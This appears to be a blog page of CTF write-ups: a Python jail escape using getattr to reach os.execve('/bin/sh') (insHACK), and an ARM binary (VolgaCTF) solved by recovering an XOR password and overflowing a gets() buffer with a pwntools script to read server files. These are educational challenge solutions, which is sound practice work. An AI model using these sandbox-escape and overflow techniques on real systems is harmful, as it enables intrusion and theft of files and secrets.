Escaping a python jail.

Write up for insHACK hell_of_a_jail challenge.

   ###############################################################
  #  Challenge
 #  desc:          [ hell_of_a_jail - PWN 150 ]
#
#       A guy from FBI found about your Ruby programming activities
#       and has put you inside a python Jail ! Find your way out !
#
 ##################################################################
#:'
#  Profided is a ssh key, server address and port to connect to.
#       -p2222  user@hell-of-a-jail.ctf.insecurity-insa.fr
#
#  After loggin into te server i got a nice welcome message
#                     and a python shell.
#  But not just any shell a shell that would trim off all
#  input longer than 14 chacters, with only 3 functions to use and
#  remove all dots and double lower dashes and would spam your sceen
#  with a thousend times the phrase "TROLLED !!!!" if a double quote
#     occured in the input.
#   _________________________________________________________________
#  |To make matters evern worse the challenge was in python3.        |
#  |Who would spam my screen with messages like,                     |
#  |Missing parentheses in call to 'print'. Did you mean print("A")? |
# ,+----------------------------------------------------------------=+
 ###################################################################
#
#  To check what fucntions i wase allowed to use out of the box.
#  I ran this on my local machine copied the output to the server
#         +---------------------------------+
#         | >>> for x in dir(__builtins__): |
#         | ...     print('%s()'%x)         |
#         +---------------------------------+
#  Then I scrolled trough the error messages to check what fuctions
#  were still alive and avalible.
#  Turns out the only build-in functions I got to play with were:
#
#          print(),     exit()    getattr()
#
#  the last one I've had never used before but we became good friends
#                                          during this challenge.
######################################
#       [ CUTE NAMED FUNCIONS ]       #
#                                     #
G=getattr       # G (fun)  getattr    #  Because of de 15 chacter
P=print         # P (fun)  print      #  I decided to rename them
E=exit          # E (fun)  exit       #  to something shorter.
#                                     #  as I also had to do with
#######################################  most of the stings.
#              SOME USEFULL STRINGS   #
u='_'+'_'       # u (str)  __         #    While trying to explore the
c=u+'class'+u   # c (str)  __class__  #  possiabilities (or lack here of)
cc=u+'call'+u   #cc (str)  __call__   #  I realized soon enough that
cd=u+'code'+u   #cd (str)  __code__   #  the time out on the sever was
d=u+'dir'+u     # d (str)  __dir__    #   annoyingly short, it
dd=u+'doc'+u    #dd (str)  __doc__    #   also did't auto complete
b=u+'bases'+u   # b (str)  __bases__  #   on tab and was printing
s=u+'subclas'\  # s (str)  __subclasses__   esc codes instead of moving
 'ses'+u                              #   my cursur back.
ss='self'       #ss (str)  self       #   I quickly moved to worinking
h='/bin/sh'     #h  (str)  /bin/sh    #   in this script instead.
f='./flag.txt'  # f (str)  ./flag.txt #
ff=u+'file'+u   #ff (srt)  __file__   #   this would also allow me to
fg=u+'flags'+u  #fg (str)  __flags__  #   neatly organize my collection
o='open'        # o (str)  open       #     of usefull strings.
r='read'        # r (str)  read       #      'n other things.
e='execve'      # e (str)  execve     #   my initinal tought was to
m=u+'mro'+u     # m (str)  __mro__    #  create something simulair to:
n=u+'name'+u    # n (str)  __name__   #  ().__class__.__bases__[0].__subclasses__()[40]("./key").read()
a='append'      # a (str)  append     #  wich I've seen and even used
g=u+'globals'\  # g (str)   __globals__  before. but i never fully
 ''+u                                 #  understood what was going on
l=u+'locals'+u  # l (str)  __locals__ #  after a lot of time READING
v='co_varnam'\  # v (str)  co_varnames#    python documentation.
 'es'                                 #  I realized the fucntions
en='environ'    #en (str)  environ    #  that i wanted to use were.
#------------------------------------ #  removed from __subclasses__
#  I spend a lot of time browsing around this python class space
#  reading writeups and documentation trying to figure out how to
#  defeat this beast. I READ about how to use getattr to access atribute
#  form objects, I READ even more about this strange object oriented
#  world named python and exlporing with __mro__ __subclasses__ and __dir__
#  But what I should have READ a little bit better was .
#  !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!!
#  There was a big BIG big hint in there pointing towards the exit()
#  It was only when I was rearanging my terminal windows, and closing
#  the billion python documentation tabs in my browser. when I
#  accsendently opened the ssh connection and wanted to close it with
#  CTRL+D, but that din't work because quit() wasn't there so I typed
#  exit() and I got promted with a error telling me that exit() requires 1
#  argument... And then my eye caught the Welcome message.
#  +------------------------------------------------------+
#  [Oh my jail ! You need to exit() with the correct key. ]
#  [It might make you free (and give you the flag)        ]
#  +------------------------------------------------------+
#  After I saw this I know I was looking in the wrong places.
#  and I focused my attention to the object named quit.
#  Whom was holding a lot of goodies like __globals__
#  With a os object.
#
#  So I Quickly build a OBJchain.(Tm) and ran to the nearist exit.
#  (what for me was '/bin/sh' I had everything already prepaired
#  and ready to open a file or pop a shell.)
#
###########################################################
#             [VERY USEFULL THINGEMAGADGETS]
C=G(E,c)       # C (Obj)  exit.__class__
B=G(C,b)       # B (Obj)  exit.__class__.__bases__
D=G(C,d)       # D (Fun)  exit.__class__.__dir__
S=G(B[0],s)    # S (Obj)  exit.__class__.__bases__[0].__subclasses__
M=G(C,m)       # M (Obj)  exit.__class__.__mro__
X=G(E,g)       # X (Dic)  exit.__globals__
O=X['os']      # O (Obj)  exit.__globals__[os]
Y=G(O,en)      # Y (Dic)  exit.__globals__[os].environ
F=G(O,e)       # F (Obj)  exit.__globals__[os].execve
F(h,[h],Y)     #          exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ)
#
########################################################
#
#  So after popping the shell I was a bit confused about the
#  absence of the flag.txt I was craving for for all these hours.
#  The only thing besides me in the path I ended up in was jail.pyc
#  but I rememberd the welcome message said something about keys and exits.
#  so I check it for strings. hoping it would hold a flag.
#  wich it din't. So I wrapped it in some base64 and copied it to my local
#  machine to decompile.
#
#  +----------------------------------------------------------------------+
#  |def exit(arg):                                                        |
#  |    """Must invoke with the right arg in order to get the flag."""    |
#  |    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:         |
#  |        print('Oh no ! You managed to escape\nValidate with the key') |
#  |       return sys.exit(0)                                             |
#  |   print('Wrong key')                                                 |
#  +----------------------------------------------------------------------+
#                                                                         #
#  So yeah.. . . The flag was hiding in environment variables
#  INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} #
#   I had a lot of fun and learned a lot during this challenge.         #
 #    Shout out tO My team Mates.                                    #
  #                                  -xXx-    TNX FOR READING...  #
   #
     #####M42D##################'''''''''''''''''''''''''''''''

ARM reverse enginering.

Write up for Volga ctf warm challenge.

Given was a stripped ARM elf binary, a server address and port to connect to.
This was my first time reverse engineering something written for a ARM architecture. I knew that hopper and ghidra can handle arm binaries, but I had to read up a bit on how to set up a testing environment for debugging.

I ended up using Ghidra to reverse engineer, Qemu as emulator and gdb-multiarch to debug.

the Reverse engineering.

I load the file up in ghidra and browse though the dissassembled code.
while renaming functions and variables.

Main()

undefined4 mainthing(void)

{
  int iVar1;
  int __c;
  FILE *__stream;
  byte given_passwd [100]; 
  char filename [100];
  
  iVar1 = __stack_chk_guard;
  setvbuf(stdout,(char *)0x0,2,0);
  while( true ) {
    while( true ) {
      flag_filename_on_stack(filename);
      puts("Hi there! I\'ve been waiting for your password!");
      gets((char *)given_passwd);
      __c = passwordcheck(given_passwd);
      if (__c == 0) break;
      error_handle_thing(1,0);
    }
    __stream = fopen(filename,"rb");
    if (__stream != (FILE *)0x0) break;
    error_handle_thing(2,filename);
  }
  while (__c = _IO_getc((_IO_FILE *)__stream), __c != -1) {
    putchar(__c);
  }
  fclose(__stream);
  if (iVar1 == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

The buffer for the given_passwd is 100bytes and the input is fetched using gets instead of fgets on stdin in witch you can set the amount of bytes you want to read. Resulting in a classic overflow vulnerability. But there is a stack canary set and checked and we will overwrite this if we try to overflow into a return pointer. So lets look a little further down the road.

The password gets passed to passwordcheck() and if it returns anything other than 0 will break out of the loop and calls the error_handle_thing() function with 1,0 as arguments.

if the passwordcheck returns 0 it will try to open the file filename, if it can’t be opened error_handle_thing() gets called with 2 and filename as arguments.
otherwise it will write it’s contents to stdout.

passwordcheck()

undefined4 passwordcheck(byte *passw)

{
  size_t sVar1;
  undefined4 uVar2;
  
  sVar1 = strlen((char *)passw);
  if (sVar1 < 0x10) {
    uVar2 = 1;
  }
  else {
    if (((((*passw == 0x76) && ((passw[1] ^ *passw) == 0x4e)) && ((passw[2] ^ passw[1]) == 0x1e)) &&
        ((((passw[3] ^ passw[2]) == 0x15 && ((passw[4] ^ passw[3]) == 0x5e)) &&
         (((passw[5] ^ passw[4]) == 0x1c &&
          (((passw[6] ^ passw[5]) == 0x21 && ((passw[7] ^ passw[6]) == 1)))))))) &&
       (((passw[8] ^ passw[7]) == 0x34 &&
        ((((((passw[9] ^ passw[8]) == 7 && ((passw[10] ^ passw[9]) == 0x35)) &&
           ((passw[0xb] ^ passw[10]) == 0x11)) &&
          (((passw[0xc] ^ passw[0xb]) == 0x37 && ((passw[0xd] ^ passw[0xc]) == 0x3c)))) &&
         (((passw[0xe] ^ passw[0xd]) == 0x72 && ((passw[0xf] ^ passw[0xe]) == 0x47)))))))) {
      uVar2 = 0;
    }
    else {
      uVar2 = 2;
    }
  }
  return uVar2;
}

This function has one argument (the password) and 3 return values.
if the the argument is smaller than 0x10 it will return 1,
if the password matches all these xor conditions it will return 0
and if not it will return 2.

So lets have a good look at all these conditions the password have to meet.
the first byte has to be 0x76 (‘v’ in ascii)
the second byte gets xored with the first one and has to be equal to 0x4e
the 3th gets xored with the second and has to equal 0x1e.
and so on and so on..
all characters get xored with the previous one and gets checked with a static value.

A^B = C we have C and xor is reverseable like so A^C = B
We know that the first character value is 0x76.
so let’s make a little script to recover the password.

A = 0x76
C_list = [0x4e, 0x1e, 0x15, 0x5e, 0x1c, 0x21, 0x01, 0x34, 0x07, 0x35, 0x11, 0x37, 0x3c, 0x72, 0x47]

password=chr(A)

for C in C_list:
    B = A^C
    A = B
    password = password+chr(A)

print(password)

if we run the script we get the password v8&3mqPQebWFqM?x
note that the function only checks if the length is not smaller than 0x10.
So, as long and only the fist 16 charters gets checked.
If we append our recovered password with some more bytes the passwordcheck() function will still return 0.

flag_filename_on_stack()

void flag_filename_on_stack(char *pcParm1)

{
  char *envionflag;
  undefined4 flag;
  undefined local_24;
  undefined4 FLAG;
  undefined4 _FIL;
  undefined2 E;
  int local_14;
  
  local_14 = __stack_chk_guard;
  FLAG = 0x47414c46;
  _FIL = 0x4c49465f;
  E = 0x45;
  envionflag = getenv((char *)&FLAG);
  flag = 0x67616c66;
  local_24 = 0;
  if (envionflag == (char *)0x0) {
    strcpy(pcParm1,(char *)&flag);
  }
  else {
    strcpy(pcParm1,envionflag);
  }
  if (local_14 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

What happens here is that if the environment value FLAG is set it will get that and place it on the memory address given as argument.
and if the environment value FLAG is not there it will place ‘flag’ on that memory address.

conclusion:

There is a buffer overflow in passwd but, It looks like everything is set up to print the flag if the right password is provided.

Dissapointment.

Having recovered the password I connect to the server using nc and send the password hoping to receive a flag.

No such luck.
It accepted my recovered password but returned the string:

Seek file with something more sacred!

nc warm.q.2019.volgactf.ru 443

Exploitation

We can not overwrite a return pointer without overwriting the stack canary and making the stack check fail.
but if we look at the placement of filename and passwd buffers. we see that filename is placed right after passwd on the stack.

             char[100]         Stack[-0x78]   filename
             byte[100]         Stack[-0xdc]   given_passwd

If we would overflow passwd we can write into the filename that gets printed further down the main fucntion.

Lets do that and make a little script to help us.

#!/usr/bin/python
# -*- coding: utf-8 -*-
#-------------------------------------------------------------------------------
# CONFIG.
from pwn import *
context.log_level = 'info'
target = "warm.q.2019.volgactf.ru"
port = 443
timeout=5
password = "v8&3mqPQebWFqM?x"
buffer= "A"*(100-len(password))
#-------------------------------------------------------------------------------
# Xploit
io = remote(target,port)
while 1:
    try:
        log.info(io.recvuntil("password!",timeout=timeout))
        filename = raw_input("filename or quit:")
        if filename == "quit":
            break
        io.sendline(password+buffer+filename)
    except:
        log.warning("connection dropped")
        io.close()
        io = remote(target,port)
#----------------------------------------------------------------------

Frustration.

The exploit works like a charm.
The only problem is that without being able to use wildcards or get a directory listing, there is a lot of guess work involved.

The first thing I did was check for a flag file. It was there, it contained the string that was printed when we just provide the password without overflowing.

Then I checked en environmet values by taking a look at /proc/self/environ I though maybe they hide a clue there since the flag_filename_on_stack() checks if the value FLAG is set in environment.

Also no luck.

After some time trying to find the flag in all sort of places or try to find hints of were the flag might be hiding in places like /home/ubuntu/.bash_history

I decided to pipe a wordlist of linux file paths to stdin of the script en piped the output to a file witch I grep for a flag formatted strings also no results. I grep for base64 endcoded stuff, no luck there as well.

Then I scrolled trough 1000’s of lines of config files and other junk by hand looking for something that could be hiding a flag.

After a lot of frustration I check the code again to see if I’ve missed something. look for a way to leak the stack canary. I can get the base-offset of the bin stack heap and libc by leaking /proc/self/maps
but i could not find a way to get around the stack canary and use the ret to libc method to pop a shell.

At this point sunshineCTF was started, so I left VolgaCTF for what it was.
(no fun and a heaping pile of s….frustration)

This morning I read in a write-up about this challenge that the flag was in the a file named sacred ..  

Seek file with something more sacred!

nc warm.q.2019.volgactf.ru 443

So yeah, there was a hint in the flag file that I did not get,
but I think they are a bunch of@$$#*!€$ !!!!!

Also; Big props to the NSA for releasing Ghidra to the public.
the disassembly is so good, I din’t even had to look at instruction listing much and the arm architecture guide not even once, even though i’m not so familiar with the ARM instruction set.
America 1 – Russia 0

The birth of BawlSec

A Friday evening in December 2018,
I had a friend over for a couple of beers. We stared talking about the ctfs.me CTF I was playing.

We watched a video write-up from LiveOverflow.

My friend got excited about the challenge in the write up. We checked if there were any events that weekend and we signed up for X-mas CTF as BawlSec and managed to finish 262th.

This is how it started.